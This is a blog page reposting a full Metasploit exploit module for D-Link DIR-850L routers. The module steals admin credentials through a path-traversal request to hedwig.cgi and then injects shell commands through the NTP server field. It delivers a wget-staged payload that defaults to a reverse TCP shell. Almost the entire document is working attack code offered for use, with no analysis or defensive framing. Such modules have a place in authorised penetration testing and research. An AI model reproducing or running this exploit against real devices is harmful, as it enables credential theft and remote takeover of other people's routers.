Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86395914

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'openssl'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'DIR-850L (Un)authenticated OS Command Exec',
      'Description' => %q{
        This module leverages an unauthenticated credential disclosure
        vulnerability to then execute arbitrary commands on DIR-850L routers
        as an authenticated user. Unable to use Meterpreter payloads.
      },
      'Author' => [
        'Mumbai', # https://github.com/realoriginal (module)
        'Zdenda' # vuln discovery
      ],
      'References' => [
        ['URL', 'https://www.seebug.org/vuldb/ssvid-96333'],
        ['URL', 'https://blogs.securiteam.com/index.php/archives/3310'],
      ],
      'DisclosureDate' => 'Aug 9 2017',
      'License' => MSF_LICENSE,
      'Platform' => 'linux',
      'Arch' => ARCH_MIPSBE,
      'DefaultTarget' => 0,
      'DefaultOptions' => {
        'PAYLOAD' => 'linux/mipsbe/shell/reverse_tcp'
      },
      'Privileged' => true,
      'Payload' => {
        'DisableNops' => true,
      },
      'Targets' => [[ 'Automatic', {} ]],
    ))
  end

  def check
    begin
      res = send_request_cgi({
        'uri' => '/',
        'method' => 'GET'
        })
      if res && res.headers['Server']
        auth = res.headers['Server']
        if auth =~ /DIR-850L/
          if auth =~ /WEBACCESS\/1\.0/
            return Exploit::CheckCode::Safe
          else
            return Exploit::CheckCode::Detected
          end
        end
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown
    end
    Exploit::CheckCode::Unknown
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end


  # some other DIR-8X series routers are vulnerable to this same retrieve creds vuln as well...
  # should write an auxiliary module to-do -> WRITE AUXILIARY
  def retrieve_creds
    begin
      xml = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n"
      xml << "<postxml>\r\n"
      xml << "<module>\r\n"
      xml << "  <service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>\r\n"
      xml << "</module>\r\n"
      xml << "</postxml>"
      res = send_request_cgi({
        'uri' => '/hedwig.cgi',
        'method' => 'POST',
        'encode_params' => false,
        'headers' => {
          'Accept-Encoding' => 'gzip, deflate',
          'Accept' => '*/*'
        },
        'ctype' => 'text/xml',
        'cookie' => "uid=#{Rex::Text.rand_text_alpha_lower(8)}",
        'data' => xml,
      })
      if res.body =~ /<password>(.*)<\/password>/ # fixes stack trace issue
        parse = res.get_xml_document
        username = parse.at('//name').text
        password = parse.at('//password').text
        vprint_good("#{peer} - Retrieved the username/password combo #{username}/#{password}")
        loot = store_loot("dlink.dir850l.login", "text/plain", rhost, res.body)
        print_good("#{peer} - Downloaded credentials to #{loot}")
        return username, password
      else
        fail_with(Failure::NotFound, "#{peer} - Credentials could not be obtained")
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
    end
  end

  def retrieve_uid
    begin
      res = send_request_cgi({
          'uri' => '/authentication.cgi',
          'method' => 'GET',
      })
      parse = res.get_json_document
      uid = parse['uid']
      challenge = parse['challenge']
      return uid, challenge
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
    end
  end

  def login(username, password)
    uid, challenge = retrieve_uid
    begin
      hash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('md5'), password.to_s, (username.to_s + challenge.to_s)).upcase
      send_request_cgi({
        'uri' => '/authentication.cgi',
        'method' => 'POST',
        'data' => "id=#{username}&password=#{hash}",
        'cookie' => "uid=#{uid}"
      })
      return uid
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
    end
  end

  def execute_command(cmd, opts)
    uid = login(@username, @password) # reason being for loop is cause UID expires for some reason after executing 1 command
    payload = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n"
    payload << "<postxml>\r\n"
    payload << "<module>\r\n"
    payload << "  <service>DEVICE.TIME</service>\r\n"
    payload << "  <device>\r\n"
    payload << "    <time>\r\n"
    payload << "      <ntp>\r\n"
    payload << "        <enable>1</enable>\r\n"
    payload << "        <period>604800</period>\r\n"
    payload << "        <server>#{Rex::Text.rand_text_alpha_lower(8)}; (#{cmd}&); </server>\r\n"
    payload << "      </ntp>\r\n"
    payload << "      <ntp6>\r\n"
    payload << "        <enable>1</enable>\r\n"
    payload << "        <period>604800</period>\r\n"
    payload << "      </ntp6>\r\n"
    payload << "      <timezone>20</timezone>\r\n"
    payload << "      <time/>\r\n"
    payload << "      <date/>\r\n"
    payload << "      <dst>0</dst>\r\n"
    payload << "      <dstmanual/>\r\n"
    payload << "      <dstoffset/>\r\n"
    payload << "    </time>\r\n"
    payload << "  </device>\r\n"
    payload << "</module>\r\n"
    payload << "</postxml>"
    begin
      # save configuration
      res = send_request_cgi({
        'uri' => '/hedwig.cgi',
        'method' => 'POST',
        'ctype' => 'text/xml',
        'data' => payload,
        'cookie' => "uid=#{uid}"
      })
      # execute configuration
      res = send_request_cgi({
        'uri' => '/pigwidgeon.cgi',
        'method' => 'POST',
        'data' => 'ACTIONS=SETCFG,ACTIVATE',
        'cookie' => "uid=#{uid}"
      })
      return res
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
    end
  end


  def exploit
    print_status("#{peer} - Connecting to target...")

    unless check == Exploit::CheckCode::Detected
      fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable url")
    end
    #
    # Information Retrieval, obtains creds and logs in
    #
    @username, @password = retrieve_creds
    execute_cmdstager(
      :flavor => :wget,
      :linemax => 200
    )
  end
end